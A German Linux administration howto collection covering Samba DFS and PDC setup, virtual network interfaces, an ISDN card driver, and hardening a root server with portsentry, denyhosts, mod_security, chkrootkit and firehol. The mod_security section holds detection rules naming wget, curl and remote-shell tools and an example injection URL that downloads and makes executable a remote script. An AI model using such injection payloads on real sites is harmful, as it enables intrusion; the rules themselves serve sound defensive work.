Die 2 Backslashes sind richtig.

Beispiel:

  ln -s msdfs:filesrv1\daten daten

Danach ist die Freigabe von \FILESRV1\DATEN sofort im dfsroot unter daten erreichbar. Sie müssen den Server nicht mehr neustarten.

Viretuelle Netwerkinterfaces hinzufügen

Anleitung für Debian Sarge/Etch, Ubuntu

In verschiedenen Fällen kann es vorkommen, das man mehrere IP-Adressen auf einem Interface benötigt.

Ich zeige euch wie man am einfachsten virt. IP`s hinzufügt.

Als erstes mit einem Editor die interfaces Datei öffnen:

  nano /etc/network/interfaces

Passt eure eth an (manche haben eth0,eth1,eth2 etc.)

Hinter dem Doppelpunkt wird die viretuelle Schnittstelle angegeben. Sie wird pro Schnittstelle um 1 erhöht.

  auto eth0:0
  iface eth0:0 inet static
  address 192.168.4.101
  netmask 255.255.255.0
  network 192.168.4.0
  broadcast 192.168.4.255

Die Datei interfaces speichern und mit:

  /etc/init.d/networking restart

die Config neu laden.

AVM Fritzcard PCI unter Debian Etch

Diese Anleitung sollte auf allen debianbasierten Distributionen funktionieren. Bei mir daheim ist es im Einsatz auf einer Debian Etch Maschine (Kernel: 2.6.18-5-686) und funktioniert prima. Grund für die Installation war → Capisuite, ein Voicemail / Fax System.

Kernelversion bestimmen

# uname -r
2.6.18-3-686

Pakete installieren

# apt-get install linux-headers-$(uname -r) build-essential rpm capiutils

AVM binär Treiber downloaden

Quelle: http://opensuse.fltronic.de/

# wget http://opensuse.foehr-it.de/rpms/10_2/src/fcpci-0.1-0.src.rpm

.rpm entpacken

# rpm2cpio fcpci-0.1-0.src.rpm | cpio -i

.tar.gz entpacken

# tar xzvf fcpci-suse93-3.11-07.tar.gz

Patchen und Installieren

# cd fritz
# patch -p1 < ../fritz-tools.diff
# ./install

HINWEIS: Nach jedem Kernelupdate muss der Treiber neu kompiliert werden. (./install)

hisax Treiber entladen

hisax Treiber hat Probleme mit dem Orginalen AVM Treiber.

# lsmod | grep ^hisax
# rmmod hisax_fcpcipnp
# rmmod hisax_isac
# rmmod hisax

Modul laden, Capidienste staren

# modprobe -v fcpci
# capiinit

Capistatus abfragen

# capiinfo

Das Ergebnis sollte so ähnlich aussehen:

# capiinfo
Number of Controllers : 1
Controller 1:
Manufacturer: AVM GmbH
CAPI Version: 2.0
Manufacturer Version: 3.11-07  (49.23)
Serial Number: 1000001
BChannels: 2
Global Options: 0x00000039
   internal controller supported
   DTMF supported
   Supplementary Services supported
   channel allocation supported (leased lines)
B1 protocols support: 0x4000011f
   64 kbit/s with HDLC framing
   64 kbit/s bit-transparent operation
   V.110 asynconous operation with start/stop byte framing
   V.110 synconous operation with HDLC framing
   T.30 modem for fax group 3
   Modem asyncronous operation with start/stop byte framing
B2 protocols support: 0x00000b1b
   ISO 7776 (X.75 SLP)
   Transparent
   LAPD with Q.921 for D channel X.25 (SAPI 16)
   T.30 for fax group 3
   ISO 7776 (X.75 SLP) with V.42bis compression
   V.120 asyncronous mode
   V.120 bit-transparent mode
B3 protocols support: 0x800000bf
   Transparent
   T.90NL, T.70NL, T.90
   ISO 8208 (X.25 DTE-DTE)
   X.25 DCE
   T.30 for fax group 3
   T.30 for fax group 3 with extensions
   Modem

  0100
  0200
  39000000
  1f010040
  1b0b0000
  bf000080
  00000000 00000000 00000000 00000000 00000000 00000000
  01000001 00020000 00000000 00000000 00000000

Supplementary services support: 0x000003ff
   Hold / Retrieve
   Terminal Portability
   ECT
   3PTY
   Call Forwarding
   Call Deflection
   MCID
   CCBS

capi.conf anpassen

Damit der Treiber beim Systemstart geladen wird muss vor fcpci das Semikolon entfernt werden.

# nano /etc/isdn/capi.conf
# card          file            proto   io      irq     mem     cardnr  options
#b1isa          b1.t4           DSS1    0x150   7       -       -       P2P
#b1pci          b1.t4           DSS1    -       -       -       -
#c4             c4.bin          DSS1    -       -       -       -
#c4             -               DSS1    -       -       -       -
#c4             -               DSS1    -       -       -       -       P2P
#c4             -               DSS1    -       -       -       -       P2P
#c2             c2.bin          DSS1    -       -       -       -
#c2             -               DSS1    -       -       -       -
#t1isa          t1.t4           DSS1    0x340   9       -       0
#t1pci          t1.t4           DSS1    -       -       -       -
fcpci           -               -       -       -       -       -
#fcpcmcia       -               -       -       -       -       -
#fcusb          -               -       -       -       -       -
#fxusb          -               -       -       -       -       -
#fcclassic      -               -       0x150   10      -       -
#fcdsl          fdslbase.bin    DSS1    -       -       -       -
#fcdsl2         fdsl2base.bin   DSS1    -       -       -       -
#fcdslsl        fdssbase.bin    DSS1    -       -       -       -
#fcdslslusb     fdlubase.frm    DSS1    -       -       -       -
#fcdslusba      fdlabase.frm    DSS1    -       -       -       -
#fcdslusb2      fds2base.frm    DSS1    -       -       -       -
#fcdslusb       fdsubase.frm    DSS1    -       -       -       -

Fertig !

Nach einem Reboot kann man nochmal mit capiinfo abfragen ob der Treiber korrekt geladen ist.

Samba 3 als PDC für Windows Clients

Einfacher PDC Server

Einleitung / Abstrakt

Installationsanleitung für einen PDC Server mit Samba 3 auf Debian Sarge/Etch.

* Für wen ist das Howto? Dieses Howto richtet sich an Leute, die gerade aus der Windows Welt den Weg zu Linux / Debian gefunden haben. ;-)

* Was kann der Samba 3 PDC Server? Ein Samba 3 PDC Server kann einen Windows NT / 2000 Server (abgesehen vom ADS) komplett ersetzen. Allerdings muss man hier keine Lizenzkosten an Microsoft abdrücken. Er kann Anmeldeserver, Fileserver, Druckserver und Memberserver sein. In diesem Howto richten wir den Debian Samba Server als vollwertigen PDC (Primary Domain Controller) ein.

Installation von Samba 3

Als erstes müssen wir das Samba-Paket mit apt installieren. Ich installiere gleich smbfs mit, damit ich Verzeichnisfreigaben von anderen PCs / Servern in Linux mounten kann. Man kann es aber auch weglassen :-)

apt-get install samba smbfs

Anlegen der Gruppenstruktur

Jetzt legen wir eine Gruppenstruktur fest, die später für die Domäne gilt. Für die Samba Gruppen hänge ich immer ein S- vorne dran.

Die Gruppen

S-Admins: In dieser Gruppe sind alle Domänenadmins drin.
S-Users: Dort sind alle normalen User drin.
S-Computers: Hier werden alle Computerkontos abgelegt.

groupadd S-Admins
groupadd S-Users
groupadd S-Computers 

Anlegen der ersten Benutzer

Diese Benutzer haben auf dem Linux Server keine Rechte, um sich lokal anzumelden ! Diese User funktionieren nur für Samba.

Einen Admin:

useradd -g S-Admins -s /bin/false -d /dev/null Administrator

Einen normalen User:

useradd -g S-Users -s /bin/false -d /dev/null benutzer1

Natürlich können auch noch andere Gruppen und User nach diesem Schema angelegt werden.

Anlegen des Netlogon Verzeichnisses

Jetzt benötigen wir noch ein Verzeichnis, in das wir später die Logonscripte u. a. ablegen. Ich verwende dafür einfach das /home Verzeichnis.

mkdir -p /home/samba/netlogon

Konfiguration

Wenn die Installation erfolgreich beendet worden ist, können wir Samba konfigurieren.
Wir legen erstmal eine Sicherungskopie der Orginalkonfiguration an.

cp /etc/samba/smb.conf /etc/samba/smb.conf.orginal

Mein Lieblingseditor ist nano, deshalb:

nano /etc/samba/smb.conf -w

Nun können wir uns an die Konfiguration wagen.

  [global]
  
  # NetBIOS Name - Mit diesem Namen erscheint der Server in der Domäne.
  netbios name = SERVER
  
  # Gibt an wie später die Domäne heisst
  workgroup = MEINEDOMAIN
  
  # Gibt den Serverstring
  server string = %h server (Samba %v)
  
  domain master = yes
  local master = yes
  domain logons = yes
  os level = 65
  
  admin users = @S-Admins,root
    
  #Dieser Parameter muss auf user stehen !! Wer diesen Wert auf domain stellt, macht aus dem Server einen BDC/Member Server !!!
  security = user
  
  # Verschlüsselte Passwörter 
  encrypt passwords = true
  
  # Als Passwort Datenbank nehmen wir tdbsam. Es ist performanter als /etc/samba/smbpasswd
  passdb backend = tdbsam:/var/lib/samba/passdb.tdb guest
  obey pam restrictions = yes
  
  # Wichtig ! Ohne Wins hat es bei mir nicht funktioniert !
  wins support = yes
  
  # Diese Scripts sorgen dafür, dass User- und Computeraccounts automatisch angelegt werden, wenn man dazu berechtigt ist.
  add user script = /usr/sbin/useradd -m %u
  delete user script = /usr/sbin/userdel -r %u
  add group script = /usr/sbin/groupadd %g
  delete group script = /usr/sbin/groupdel %g
  add user to group script = /usr/sbin/usermod -G %g %u
  add machine script = /usr/sbin/useradd -s /bin/false -d /dev/null -g S-Computers %u
  
  [homes]
  comment = Home Directories
  browseable = no
  writable = yes
  create mask = 0775
  directory mask = 0775
  
  [netlogon]
  comment = Network Logon Service
  path = /home/samba/netlogon
  guest ok = yes
  writable = no
  share modes = no

Erster Restart

Jetzt starten wir den Samba Server neu.

Erst mit testparm smb.conf kontrollieren.

testparm

testparm gibt im Falle einer Fehlkonfiguration der smb.conf eine Meldung zurück.

Neustart.

/etc/init.d/samba restart

Eventuell anhand der Logs in /var/log/samba kontrollieren, ob der Server korrekt läuft.

User- & Computerkonten in Samba bekannt machen

Um einen User in die Sambadatenbank einzubinden, muss er bereits in der /etc/passwd angelegt sein, was wir oben bei der Vorbereitung bereits mit useradd gemacht haben.

Administrator anlegen:

smbpasswd -a Administrator

Administrator aktivieren:

smbpasswd -e Administrator

Benutzer anlegen:

smbpasswd -a benutzer1

Benutzer aktivieren:

smbpasswd -e benutzer1

smbpasswd wird jetzt nach einem Passwort fragen. Mit diesem Passwort melden Sie sich dann an. Vergessen Sie nicht, wenigstens einem Administrator ein Passwort zuzuweisen und zu aktivieren. Nur ein Administrator darf einen Computer in eine Domäne einbinden. Spätestens im nächsten Abschnitt wird dies benötigt (Siehe Abschnitt „Anlegen der ersten Benutzer“ weiter vorn in diesem HowTo).

Computerkonten

Normalerweise bindet man einen Rechner bei Windows XP über:

Arbeitsplatz [rechtsklick] --> Eigenschaften --> Computername --> Button Ändern

in die Domäne ein.

ACHTUNG !! Bei Windows XP muss folgender Schlüssel in den Lokalen Sicherheitseinstellungen (Programme → Verwaltung → lokale Sicherheitsrichtlinie) deaktiviert werden

Sicherheitseinstellungen –> Lokale Richtlinien –> Sicherheitsoptionen Domänenmitglied: Daten des sicheren Kanals digital verschlüsseln oder signieren (immer) : deaktivieren

Wenn man aber kein add machine script definiert hat, muss man den Computeraccount manuell anlegen.

useradd -g S-Computers -s /bin/false COMPUTERNAME$
smbpasswd -a -m COMPUTERNAME$

Danach sollte das Einbinden in die Domäne ohne Probleme über den Dialog möglich sein.

Fertig!!!!

Rootserver absichern

Einen Rootserver absichern mit:

  • portsentry – Überwacht alle Ports und erkennt Portscanning und blockiert die IP-Adresse dynamisch
  • denyhosts – Überwacht Logfiles und sperrt die IP-Adresse sobald x Loginversuche per SSH unternommen worden sind ins System einzudringen.
  • mod_security für Apache2 – IDS Firewall für Apache – Erkennt allow_url_fopen attacks, URL attacks (wget), SQL attacks usw. Regeln können auch selbst definiert werden Regelsätze von ModSecurity
  • chkrootkit – Erkennt bekannte Rootkits.
  • aide – Erzeugt eine Datenbank welche mit Checksummen Dateien auf dem System prüft und erkennt wenn eine Datei verändert worden ist. (z.B. Rootkits)
  • logwatch – Erzeugt eine übersichtliche Zusammenfassung aller Events die von Bedeutung sind und kann diese per Mail verschicken.
  • firehol – Tool zum Erstellen von iptables Regelsätzen

Anleitung für Debian Sarge

portsentry

~~UP~~

Schritt 1: Installation von portsentry

  apt-get install portsentry

Schritt 2: Anpassen der Konfiguration

  nano /etc/portsentry/portsentry.conf

Per default ist in der Konfiguration schon eingestellt das er Ports nur unter 1024 überwacht was ausreichend ist, da sich hier die meisten brisanten Dienste ansiedeln. Wenn alles gesperrt werden soll müssen folgende Parameter angepasst werden:

  ADVANCED_PORTS_TCP="1024"
  ADVANCED_PORTS_UDP="1024"

Folgende Parameter wurden geändert:

  BLOCK_UDP="0" -> BLOCK_UDP="1"
  BLOCK_TCP="0" -> BLOCK_TCP="1"
  #KILL_HOSTS_DENY="ALL: $TARGET$" -> KILL_HOSTS_DENY="ALL: $TARGET$"

BLOVK_UDP und BLOCK_TCP verhindern Portscans wenn Sie auf “1” gesetzt werden. KILL_HOSTS_DENY ist die Aktion die gestartet werden soll wenn ein Angreifer gesperrt werden soll. Dieser wird in diesem Fall über /etc/hosts.deny gesperrt.

Schritt 3: Neustarten des Prozesses

  /etc/init.d/portsentry restart

Schritt 4: Test von Portsentry

Achtung ! Wenn Portsentry mit einem Portscanner getestet wird kann man sich selbst aussperren !

Dann ist nur noch Zugriff über die Rettungskonsole oder mit einer neuen dynamischen IP-Adresse möglich.

Fertig!

denyhosts

~~UP~~

Für denyhosts gibt es kein fertiges Debianpaket deshalb muss es downgeloaded werden.

Schritt 1: Installation

Denyhosts basiert auf Phyton deshalb installieren wir folgende Pakete:

  apt-get install python python2.3-dev python2.3

Jetzt besorgen wir uns Denyhosts entpacken und installieren es:

  cd /tmp
  wget http://mesh.dl.sourceforge.net/sourceforge/denyhosts/DenyHosts-2.0.tar.gz
  tar xvfz DenyHosts-2.0.tar.gz
  cd DenyHosts-2.0
  python setup.py install

Denyhosts wird in foldenden Pfad installiert:

  /usr/share/denyhosts

Schritt 2: Konfiguration von Denyhosts

  cd /usr/share/denyhosts
  cp denyhosts.cfg-dist denyhosts.cfg
  nano denyhosts.cfg
  SECURE_LOG = /var/log/auth.log
  HOSTS_DENY = /etc/hosts.deny
  PURGE_DENY =
  BLOCK_SERVICE  = sshd
  DENY_THRESHOLD_INVALID = 5
  DENY_THRESHOLD_VALID = 10
  DENY_THRESHOLD_ROOT = 5
  WORK_DIR = /usr/share/denyhosts/data
  SUSPICIOUS_LOGIN_REPORT_ALLOWED_HOSTS=YES
  HOSTNAME_LOOKUP=YES
  LOCK_FILE = /var/run/denyhosts.pid
  ADMIN_EMAIL = foo@bar.com
  SMTP_HOST = localhost
  SMTP_PORT = 25
  SMTP_FROM = DenyHosts <nobody@localhost>
  SMTP_SUBJECT = DenyHosts Report
  AGE_RESET_VALID=5d
  AGE_RESET_ROOT=25d
  AGE_RESET_INVALID=10d
  DAEMON_LOG = /var/log/denyhosts
  DAEMON_SLEEP = 30s
  DAEMON_PURGE = 1h

Bitte darauf achten, das die korrekten Pfade für SECURE_LOG und LOCK_FILE gesetzt sind. Bei Debian sind diese:

  SECURE_LOG = /var/log/auth.log
  LOCK_FILE = /var/run/denyhosts.pid

Schritt 3: Daemon Control File vorbereiten

Folgende drei Parameter müssen in der Datei /usr/share/denyhosts/daemon-control angepasst werden:

  DENYHOSTS_BIN = "/usr/bin/denyhosts.py"
  DENYHOSTS_LOCK = "/var/run/denyhosts.pid"
  DENYHOSTS_CFG = "/usr/share/denyhosts/denyhosts.cfg"

Beispiel:

  #!/usr/bin/env python
  # denyhosts     Bring up/down the DenyHosts daemon
  #
  # chkconfig: 2345 98 02
  # description: Activates/Deactivates the
  #    DenyHosts daemon to block ssh attempts
  #
  ###############################################

  ###############################################
  #### Edit these to suit your configuration ####
  ###############################################

  DENYHOSTS_BIN   = "/usr/bin/denyhosts.py"
  DENYHOSTS_LOCK  = "/var/run/denyhosts.pid"
  DENYHOSTS_CFG   = "/usr/share/denyhosts/denyhosts.cfg"

  ###############################################
  ####         Do not edit below             ####
  ###############################################

  import os, sys, signal, time

  STATE_NOT_RUNNING = -1
  STATE_LOCK_EXISTS = -2

  def usage():
      print "Usage: %s {start [args...] | stop | restart [args...] | status | debug | condrestart [args...] }" % sys.argv[0]
      print
      print "For a list of valid 'args' refer to:"
      print "$ denyhosts.py --help"
      print
      sys.exit(0)

  def getpid():
      try:
          fp = open(DENYHOSTS_LOCK, "r")
          pid = int(fp.readline().rstrip())
          fp.close()
      except Exception, e:
          return STATE_NOT_RUNNING

      if os.access(os.path.join("/proc", str(pid)), os.F_OK):
          return pid
      else:
          return STATE_LOCK_EXISTS

  def start(*args):
      cmd = "%s --daemon " % DENYHOSTS_BIN
      if args: cmd += ' '.join(args)

      print "starting DenyHosts:   ", cmd

      os.system(cmd)

  def stop():
      pid = getpid()
      if pid >= 0:
          os.kill(pid, signal.SIGTERM)
          print "sent DenyHosts SIGTERM"
      else:
          print "DenyHosts is not running"

  def debug():
      pid = getpid()
      if pid >= 0:
          os.kill(pid, signal.SIGUSR1)
          print "sent DenyHosts SIGUSR1"
      else:
          print "DenyHosts is not running"

  def status():
      pid = getpid()
      if pid == STATE_LOCK_EXISTS:
          print "%s exists but DenyHosts is not running" % DENYHOSTS_LOCK
      elif pid == STATE_NOT_RUNNING:
          print "Denyhosts is not running"
      else:
          print "DenyHosts is running with pid = %d" % pid

  def condrestart(*args):
      pid = getpid()
      if pid >= 0:
          restart(*args)

  def restart(*args):
      stop()
      time.sleep(1)
      start(*args)

  if __name__ == '__main__':
      cases = {'start':       start,
               'stop':        stop,
               'debug':       debug,
               'status':      status,
               'condrestart': condrestart,
               'restart':     restart}

      try:
          args = sys.argv[2:]
      except:
          args = []

      try:
          option = sys.argv[1]

          if option in ('start', 'restart', 'condrestart'):
              if '--config' not in args and '-c' not in args:
                  args.append("--config=%s" % DENYHOSTS_CFG)

          cmd = cases[option]
          apply(cmd, args)
      except:
          usage()

Den Eigentümer auf root setzen und 700 als Rechte

  chown root daemon-control
  chmod 700 daemon-control

Denyhosts zu den Daemons hinzufügen

  cd /etc/init.d
  ln -s /usr/share/denyhosts/daemon-control denyhosts
  update-rc.d denyhosts defaults

Schritt 4: Daemon starten

  /etc/init.d/denyhosts start

Fertig!

mod_security

~~UP~~

Schritt 1: Installation von mod_security

Problem: Das Paket was von den Debian Packet Maintainern zurverfügung gestellt wird ist eine alte 0.8.4 Version. Diese unterstützt einige Parameter zum deaktivieren von Rules nicht. Deshalb fügen wir noch eine Source Quelle zu sources.list hinzu.

  nano /etc/apt/sources.list

Folgdende zeilen einfach an das Ende anfügen:

  deb http://etc.inittab.org/~agi/debian/libapache-mod-security/sarge ./

Dann noch ein

  apt-get update

um die Paketinformationen zu bekommen.

Modul installieren:

  apt-get install libapache2-mod-security

Modul zu Apache 2 installieren:

  a2enmod mod-security

Schritt 2: Konfiguration bearbeiten

  cd /etc/apache2

Erstellen der mod_sec_filter.conf:

  touch mod_sec-filter.conf

Beispiel:

  # -----------------------------------------------------------------------------
  #  Start Rules (Gerneric)
  # -----------------------------------------------------------------------------

  # Enforce proper HTTP requests
  SecFilterSelective THE_REQUEST "!HTTP\/(0\.9|1\.0|1\.1)$"

  # check for bad meta characters in User-Agent field
  SecFilterSelective HTTP_USER_AGENT ".*\'"

  # Require Content-Length to be provided with every POST request
  SecFilterSelective REQUEST_METHOD "^POST$" chain
  SecFilterSelective HTTP_Content-Length "^$"

  # Don't accept transfer encodings we know we don't handle (and you don't need it anyway)
  SecFilterSelective HTTP_Transfer-Encoding "!^$"

  # Don't accept chunked encodings
  SecFilterSelective HTTP_Transfer-Encoding "chunked"

  # must have a useragent string
  SecFilterSelective "HTTP_USER_AGENT|HTTP_HOST" "^$"

  # Again, this is better protected by removing these functions in php.ini
  SecFilterSelective ARGS "(system|exec|passthru|popen|shell_exec|proc_open|fopen|fwrite)\s*\("

  # Prevent path traversal (..) attacks
  SecFilter "\.\./"

  # generic recursion signature
  SecFilterSelective THE_REQUEST "\.\./\.\./"

  # generic attack sig
  SecFilterSelective THE_REQUEST "cd *\;(cd|\;|echo|perl|python|rpm|yum|apt-get|emerge|lynx|links|mkdir|elinks|cmd|pwd|
  wget|id|uname|cvs|svn|(s|r)(cp|sh)|rexec|smbclient|t?ftp|ncftp|curl|telnet|gcc|cc|g\+\+|\./)"

  # generic filter to prevent SQL injection attacks
  SecFilter "[[:space:]]+(select|grant|delete|insert|drop|alter|replace|truncate|update|create|rename|
  describe)[[:space:]]+[A-Z|a-z|0-9|\*| |\,]+[[:space:]]+(from|into|table|database|index|view)[[:space:]]+[A-Z|a-z|0-9|\*| |\,]"

  # generic PHP remote file inclusion attack
  SecFilter "\.php\?" chain
  SecFilter "(http|https|ftp)\:/" chain
  SecFilter "cmd=(cd|\;|perl|python|rpm|yum|apt-get|emerge|lynx|links|mkdir|elinks|cmd|pwd|wget|id|
  uname|cvs|svn|(s|r)(cp|sh)|rexec|smbclient|t?ftp|ncftp|curl|telnet|gcc|cc|g\+\+|\./)"

  # generic sig for more bad PHP functions
  SecFilterSelective THE_REQUEST "chr\(([0-9]{1,3})\)"
  SecFilterSelective THE_REQUEST "chr\([0-9a-fA-Fx]+\)"

  # SQL injection attacks
  SecFilter "delete[[:space:]]+from"
  SecFilter "insert[[:space:]]+into"
  SecFilter "select.+from"

  # SQL injection in cookies
  SecFilterSelective COOKIE_sessionid ".*(select|grant|delete|insert|drop|do|alter|replace|truncate|update|create|rename|
  describe)[[:space:]]+[A-Z|a-z|0-9|\*||\,]+[[:space:]]+(from|into|table|database|index|view)"

  # -----------------------------------------------------------------------------
  #  Start Rules (experimental)
  # -----------------------------------------------------------------------------

  # experimental generic remote download sig foo IP or FQDN or foo http/https/ftp://whatever
  SecFilterSelective THE_REQUEST "(perl|t?ftp|links|elinks|lynx|ncftp|(s|r)(cp|sh)|wget|curl|cvs|svn).* ((http|https|ftp)\:/|
  [0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}|.*[A-Za-z|0-9]\.[a-zA-Z]{2,4}/)"
  SecFilterSelective THE_REQUEST "( |\;|/|\'|,|\&|\=|\.)((s|r)(sh|cp)) *(.*\@.*|(http|https|ftp)\:/|[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}|.*[A-Za-z|
  0-9]\.[a-zA-Z]{2,4}/)"

  # XSS atacks (HTML/Javascript injection)
  # SecFilter "<(.| )+>"
  # deactivated since it causes problems with Serendipity when creating new entries
  # this is the error message: mod_security-message: Access denied with code 406. Pattern match "<(.| )+>" at POST_PAYLOAD.

Erstellen der mod_security.conf:

  cd /etc/apache2/conf.d
  touch mod_security.conf
  nano mod_security.conf

Beispiel:

  <IfModule mod_security.c>

      # Only inspect dynamic requests
      # (YOU MUST TEST TO MAKE SURE IT WORKS AS EXPECTED)
      # SecFilterEngine DynamicOnly

      # Turn the filtering engine On or Off
      SecFilterEngine On

      # Reject requests with status 404
      SecFilterDefaultAction "deny,log,status:404"

      # Some sane defaults
      SecServerResponseToken Off
      SecFilterScanPOST Off
      SecFilterCheckURLEncoding On
      SecFilterCheckCookieFormat On
      SecFilterCheckUnicodeEncoding Off

      # If you want to scan the output, uncomment these
      # SecFilterScanOutput On
      # SecFilterOutputMimeTypes "(null) text/html text/plain"

      # Accept almost all byte values
      SecFilterForceByteRange 1 255

      # Only record the interesting stuff
      SecAuditEngine RelevantOnly
      SecAuditLog /var/log/apache/audit_log

      # You normally won't need debug logging
      SecFilterDebugLevel 0
      SecFilterDebugLog /var/log/apache/modsec_debug_log

      # Include rules
      Include /etc/apache2/mod_sec_filter.conf
  </IfModule>

Schritt 3: Apache neustarten und testen

  /etc/init.d/apache2 restart

Mit dieser Konfiguration sollte es nicht mehr möglich sein folgenden Link aufzurufen:

Beispiel:

http://-deine-seite.de-/deinscript.php?irgendwas=cmd|cd%20/tmp%20|wget%20foobar.org/boesesscript|chmod%20755%20boesesscript|usw.

Um in einer Webseite einen Filter auszuschließen muss Ihm eine ID zugeordnet werden:

z.B. SecFilter wget id:1003

Im Vhost wird dann mit einer Directory Anweisung der Filter ausgeschlossen:

  <Directory /var/www/webseite/pma>
   SecFilterRemove 1003
  </Directory>

Um alle Filter zu deaktivieren für ein Verzeichnis einfach:

  <Directory /var/www/webseite/pma>
   SecFilterInheritance Off
  </Directory>

Dies deaktiviert die Filtervererbung in dieses Verzeichnis.

Fertig!

chkrootkit

~~UP~~

Schritt 1: Installation

  apt-get install chkrootkit

Schritt 2: Konfiguration

  nano /etc/chkrootkit.conf

Folgende Parameter in dieser Datei setzen:

  RUN_DAILY="true"
  RUN_DAILY_OPTS="-q"

Fertig!

aide

Schritt 1: Installation

  apt-get install aide

Schritt 2: Konfiguration

Kommt noch

Schritt 3: Datenbank erzeugen

Kommt noch

Schritt 4: Dienst neustarten

Kommt noch

logwatch

~~UP~~

Kommt noch

firehol

~~UP~~

Schritt 1: Installation

  apt-get install firehol

Schritt 2: Konfiguration

Vorhandene Filtersets sind auf folgender Webseite verfügbar:

FireHOL Services

  #
  # $Id: client-all.conf,v 1.2 2002/12/31 15:44:34 ktsaou Exp $
  #
  # This configuration file will allow all requests originating from the
  # local machine to be send through all network interfaces.
  #
  # No requests are allowed to come from the network. The host will be
  # completely stealthed! It will not respond to anything, and it will
  # not be pingable, although it will be able to originate anything
  # (even pings to other hosts).
  #

  version 5

  # Diese Zeilen auskommentieren
  #interface any world
  #       client all accept

  # Alle öffentlichen IP-Adressen ausser private z.B. 192.168.0.0/16
  interface eth0 INTERNET src not "${UNROUTABLE_IPS}"

  # Default Policy wenn keine Regel zutrifft
  policy drop

  # Verschiedene Schutzmechanismen
  protection reverse icmp-floods          30/min 20
  protection reverse syn-floods
  protection reverse invalid
  protection reverse fragments
  protection reverse malformed-xmas
  protection reverse malformed-null
  protection reverse malformed-bad
  protection icmp-floods                  30/min 20
  protection syn-floods
  protection invalid
  protection fragments
  protection malformed-xmas
  protection malformed-null
  protection malformed-bad

  #########################################################
  #Eingehend
  #########################################################

  # Eingehend SSH
  server ssh accept

  # Eingehend HTTP/HTTPS
  server http accept
  server https accept

  # Eingehend DNS
  server dns accept

  # Eingehend POP3/POP3s
  server pop3 accept
  server pop3s accept

  # Eingehend IMAP/IMAPs
  server imap accept
  server imaps accept

  # Eingehend SMTP
  server smtp accept

  # Eingehend FTP
  server ftp accept

  #########################################################
  #Ausgehened
  #########################################################

  # Nur "root" darf HTTP/FTP ausgehend verwenden
  client http             accept          user "root"
  client ftp              accept          user "root"
  # Alle dürfen DNS/SSH
  client dns              accept
  client ssh              accept
  # Nur "postfix" darf SMTP ausgehend verwenden
  client smtp             accept          user "postfix"

Schritt 3: Konfiguration testen und Fertigstellen

FireHOL liefert eine Funktion mit die es ermöglicht Filtersets zu testen ohne das Risiko sich auszusperren. Das Filterset wird für 30 Sekunden aktiviert. In dieser Zeit hat man die Möglichkeit die Filter zu testen. Falls das Filterset funktioniert kann man mit der Eingabe von “commit” nach den 30 Sekunden das Filterset dauerhaft aktivieren, wenn nicht einfach Return drücken.

  /sbin/firehol try
  Keep the firewall? (type 'commit' to accept - 30 seconds timeout) :